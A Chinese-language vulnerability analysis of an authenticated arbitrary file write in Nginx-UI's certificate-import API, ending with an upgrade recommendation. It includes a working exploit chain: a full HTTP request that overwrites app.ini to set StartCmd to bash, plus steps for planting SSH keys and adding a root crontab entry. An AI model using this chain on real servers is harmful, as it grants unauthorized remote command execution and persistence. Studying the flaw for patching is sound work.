安全版本
v2.0.0-beta.12
漏洞分析
路由分析
通过漏洞描述我们可以知道漏洞点是位于导入证书功能,搭建好靶场后,进入web页面,导入抓包。获取路由。
查看代码,可以发现系统使用gin框架,gin框架的路由定义可以参考以下例子,是通过绑定一个相应请求到路由上,当访问这个路由时,就会会执行相应的函数。package main
import (
"github.com/gin-gonic/gin"
)
func main() {
r := gin.Default()
r.GET("/hello", func(c *gin.Context) {
c.String(200, "Hello World")
})
r.Run()
}
这里直接进行关键词搜索我们可以到api路径下,r.Group("/api")
是用来创建一个路由组的方法。其中g := root.Group("/", authRequired(), proxy())
的authRequired()
和proxy()
是作为中间件应用到这个路由组的,authRequired()
从名字可以看出用于验证用户身份。
查看authRequired()
函数代码,具体为从请求头中读取Authorization
,如果为空读取X-Node-Secre,然后使用CheckToken
方法进行查询。
func authRequired() gin.HandlerFunc {
return func(c *gin.Context) {
abortWithAuthFailure := func() {
c.AbortWithStatusJSON(http.StatusForbidden, gin.H{
"message": "Authorization failed",
})
}
token := c.GetHeader("Authorization")
if token == "" {
if token = c.GetHeader("X-Node-Secret"); token != "" && token == settings.ServerSettings.NodeSecret {
c.Set("NodeSecret", token)
c.Next()
return
} else {
c.Set("ProxyNodeID", c.Query("x_node_id"))
tokenBytes, _ := base64.StdEncoding.DecodeString(c.Query("token"))
token = string(tokenBytes)
if token == "" {
abortWithAuthFailure()
return
}
}
}
if model.CheckToken(token) < 1 {
abortWithAuthFailure()
return
}
if nodeID := c.GetHeader("X-Node-ID"); nodeID != "" {
c.Set("ProxyNodeID", nodeID)
}
c.Next()
}
}
这里CheckToken
为从数据库中查找token,虽然从后续的GenerateJWT
方法可以看出使用JWT认证,但其中的JwtSecret在配置文件中定义(不存在硬编码问题),并且GenerateJWT
方法创建JWT后执行存进数据库操作,并且认证也是进行数据库取值比对,这里的验证未发现绕过操作,漏洞属于需要认证的后台漏洞。
漏洞点分析
从上面的/api/路由组中我们可以发现certificate.InitCertificateRouter(g)
函数,注册了一系列与证书相关的路由和处理器,其中就存在cert
路由以及处理器AddCert
。
查看AddCert
函数代码可以发现它是一个Gin的HTTP处理函数,用于添加一个新的证书。首先定义一个匿名结构体,用于解析和验证传入的JSON请求体。其中的证书路径和证书密钥路径,属于必填,用于后续的创建文件,然后初始化一个证书模型对象接收传入的json参数。接收成功后执行content.WriteFile()
写入文件。
func AddCert(c *gin.Context) {
var json struct {
Name string `json:"name"`
SSLCertificatePath string `json:"ssl_certificate_path" binding:"required"`
SSLCertificateKeyPath string `json:"ssl_certificate_key_path" binding:"required"`
SSLCertificate string `json:"ssl_certificate"`
SSLCertificateKey string `json:"ssl_certificate_key"`
ChallengeMethod string `json:"challenge_method"`
DnsCredentialID int `json:"dns_credential_id"`
}
if !api.BindAndValid(c, &json) {
return
}
certModel := &model.Cert{
Name: json.Name,
SSLCertificatePath: json.SSLCertificatePath,
SSLCertificateKeyPath: json.SSLCertificateKeyPath,
ChallengeMethod: json.ChallengeMethod,
DnsCredentialID: json.DnsCredentialID,
}
err := certModel.Insert()
if err != nil {
api.ErrHandler(c, err)
return
}
content := &cert.Content{
SSLCertificatePath: json.SSLCertificatePath,
SSLCertificateKeyPath: json.SSLCertificateKeyPath,
SSLCertificate: json.SSLCertificate,
SSLCertificateKey: json.SSLCertificateKey,
}
err = content.WriteFile()
if err != nil {
api.ErrHandler(c, err)
return
}
c.JSON(http.StatusOK, Transformer(certModel))
}
查看WriteFile
()函数,从名字就可以知道这是一个进行写入文件操作的函数。可以看到会先创建创建存放SSL证书的目录和存放SSL证书密钥的目录,如果目录已存在就不会进行创建操作。如何将内容写入文件。
func (c *Content) WriteFile() (err error) {
err = os.MkdirAll(filepath.Dir(c.SSLCertificatePath), 0644)
if err != nil {
return
}
err = os.MkdirAll(filepath.Dir(c.SSLCertificateKeyPath), 0644)
if err != nil {
return
}
if
c.SSLCertificate != "" {
err = os.WriteFile(c.SSLCertificatePath, []byte(c.SSLCertificate), 0644)
if err != nil {
return
}
}
if c.SSLCertificateKey != "" {
err = os.WriteFile(c.SSLCertificateKeyPath, []byte(c.SSLCertificateKey), 0644)
if err != nil {
return
}
}
return
}
文件写入利用思路
这里我们知道我们可以将任意内容写入服务器中任意文件,也可以创建新的文件,不过这里需要注意一个点,如果是新创建的文件权限为0644是不具备执行权限的。这里的权限为所有者允许读写,而所属组成员和其他用户仅读取。所以这里我们需要关注于本机上已经存在的文件。这里先分析漏洞发现者的利用思路。
利用程序配置文件
在前面查看app.ini配置文件时,我们可以发现一个参数StartCmd
。
通过搜索StartCmd
参数可以发现,其在NewPipeLine
函数中被执行。分析代码可以发现NewPipeLine
函数是启动一个新的伪终端的操作。通看上下文代码可以知道作者写这里的作用是为了实现一个在Web浏览器中创建一个类似命令行的界面,让用户能够远程执行和控制一个shell会话。
这里StartCmd
参数中的值会被c := exec.Command(settings.ServerSettings.StartCmd)
执行,所以我们只需要将我们想要执行的名通过StartCmd
参数写入app.ini配置文件,app,ini为程序启动的配置文件,在程序重新启动时便可以执行我们想要的命令。
这里的利用思路很巧妙,不过缺点在于需要重新启动程序。这里也可以利用常用的文件写入的利用思路。
POST /api/cert HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 980
Accept: application/json, text/plain, */*
Authorization:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7
Connection: close
{"name":"poc","ssl_certificate_path":"/root/nginx/app.ini","ssl_certificate_key_path":"/tmp/test2","ssl_certificate":"[server]\r\nHttpHost = 0.0.0.0\r\nHttpPort = 9000\r\nRunMode = debug\r\nJwtSecret = 504f334b-ac68-4fbc-9160-2ecbf9e5794c\r\nNodeSecret = 139ab224-9e9e-444f-987e-b3a651175ad5\r\nHTTPChallengePort = 9180\r\nEmail = props@pros.com\r\nDatabase = database\r\nStartCmd = bash\r\nCADir = dqsdqsd\r\nDemo = false\r\nPageSize = 10\r\nGithubProxy = dqsdqfsdfsdfsdfsd\r\n\r\n[nginx]\r\nAccessLogPath =\r\nErrorLogPath =\r\nConfigDir =\r\nPIDPath =\r\nTestConfigCmd =\r\nReloadCmd =\r\nRestartCmd =\r\n\r\n[openai]\r\nBaseUrl = \r\nToken =\r\nProxy =\r\nModel = \r\n\r\n[casdoor]\r\nEndpoint =\r\nClientId =\r\nClientSecret =\r\nCertificate =\r\nOrganization =\r\nApplication =\r\nRedirectUri =","ssl_certificate_key":"test2"}
写入SSH公钥免密登陆
这里也可以通过写入写入SSH公钥免密登陆,首先我们需要先在客户端生成SSH密钥对,可以使用 ssh-keygen
命令
ssh-keygen -t rsa -b 4096
此时会在在 ~/.ssh/
目录下生成两个文件,id_rsa
(私钥)和 id_rsa.pub
(公钥)。我们只需要将生成的公钥(id_rsa.pub
)写入到服务器的 ~/.ssh/authorized_keys
文件中,便可以直接通过ssh登陆到服务器。
成功写入SSH公钥
成功登陆服务器计划任务
Linux计划任务是一种在Linux操作系统中自动执行任务的方法,cron
是一个守护进程,它根据一个称为crontab(cron table)的配置文件运行。我们可以通过crontab
命令编辑他们的个人计划任务列表,也可以直接编辑系统中自带的计划任务脚本。
/etc/crontab
:系统的主crontab文件。
/etc/cron.d/
:一个目录,可以包含附加的crontab配置文件。
/etc/cron.daily/
:存储每天执行一次的脚本。
/etc/cron.hourly/
:存储每小时执行一次的脚本。
/etc/cron.weekly/
:存储每周执行一次的脚本。
/etc/cron.monthly/
:存储每月执行一次的脚本。
当然每个用户也可以有自己的crontab文件,这些文件通常存储在/var/spool/cron/
目录中,在当前漏洞中我们新建的文件没有执行权限,所以优先直接更改系统自带的计划任务。我们可以直接更改系统的主crontab文件/etc/crontab
。打开格式如下,我们只需要在最新一行写上计划任务就行,如下。
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
* * * * * root whoami >> /var/log/whoami.log 2>&1
其中* * * * *
:时间和日期字段,每个星号代表一个时间单位。从左到右分别是:分钟、小时、一月中的日、月份、一周中的日。星号(*
)表示每个时间单位的每个可能的值。而root
表示任务将以 root
用户的权限执行。
将以上命令转换成json字符串传输进行。
成功写入文件
成功执行命令
总结
该漏洞是对于用户的输入是否是证书/密钥,写入系统中的文件路径。未经检查造成的任意文件写入漏洞。该漏洞存在创建文件操作,但文件无执行权限,并且对于golng这种编译型语言。没有办法上传webshell,所以只能通过上传或文件写入加其他利用达到RCE效果。
修复建议
将组件Nginx-UI升级至v2.0.0-beta.12及以上版本
来源
https://avd.aliyun.com/detail?id=AVD-2024-23827
征集原创技术文章中,欢迎投递
投稿邮箱:edu@antvsion.com
文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关
通过审核并发布能收获200-800元不等的稿酬。
更多详情,点我查看!